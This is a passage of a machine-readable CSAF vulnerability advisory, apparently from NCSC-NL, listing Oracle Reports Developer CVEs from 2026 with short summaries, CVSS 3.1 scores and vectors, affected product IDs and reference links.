"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62616"
},
{
"cve": "CVE-2026-62617",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to fully compromise the system via UDP, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62617 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62617.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62617"
},
{
"cve": "CVE-2026-62618",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 9.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62618 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62618.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62618"
},
{
"cve": "CVE-2026-62619",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to potentially compromise system confidentiality, integrity, and availability via HTTP, with a CVSS 3.1 score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62619 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62619.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62619"
},
{
"cve": "CVE-2026-62620",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to access sensitive data, with a CVSS 3.1 base score of 8.6, affecting multiple Oracle products.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62620 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62620.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62620"
},
{
"cve": "CVE-2026-62621",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 base score of 9.8 allows full system compromise affecting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62621 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62621.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62621"
},
{
"cve": "CVE-2026-62622",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 via IIOP has a CVSS 3.1 score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62622 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62622.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62622"
},
{
"cve": "CVE-2026-62623",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated attackers with network access to fully compromise the product, rated with a CVSS 3.1 base score of 8.8 for high impact on confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62623 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62623.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62623"
},
{
"cve": "CVE-2026-62624",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 via IIOP has a CVSS 3.1 score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62624 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62624.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62624"
},
{
"cve": "CVE-2026-62625",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 enables unauthenticated remote attackers to gain unauthorized access, modify data, or cause partial denial of service via SOAP, with a CVSS 3.1 base score of 8.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62625 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62625.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62625"
},
{
"cve": "CVE-2026-62626",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62626 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62626.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62626"
},
{
"cve": "CVE-2026-62627",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Reports Developer 12.2.1.19.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 7.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62627 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62627.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62627"
},
{
"cve": "CVE-2026-62628",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated network attackers to gain unauthorized access to sensitive data, with a CVSS 3.1 base score of 8.6, potentially affecting additional Oracle products.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62628 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62628.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62628"
},
{
"cve": "CVE-2026-62629",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to access, modify, or delete data and cause denial of service, with a CVSS 3.1 base score of 9.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62629 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62629.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62629"
},
{
"cve": "CVE-2026-62630",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62630 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62630.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62630"
},
{
"cve": "CVE-2026-62631",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to fully compromise the product, rated with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62631 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62631.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62631"
},
{
"cve": "CVE-2026-62632",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62632 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62632.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62632"
},
{
"cve": "CVE-2026-62633",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62633 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62633.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62633"
},
{
"cve": "CVE-2026-62634",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise systems via CORBA, with a CVSS 3.1 base score of 9.8 indicating severe impacts on confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62634 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62634.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62634"
},
{
"cve": "CVE-2026-62635",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
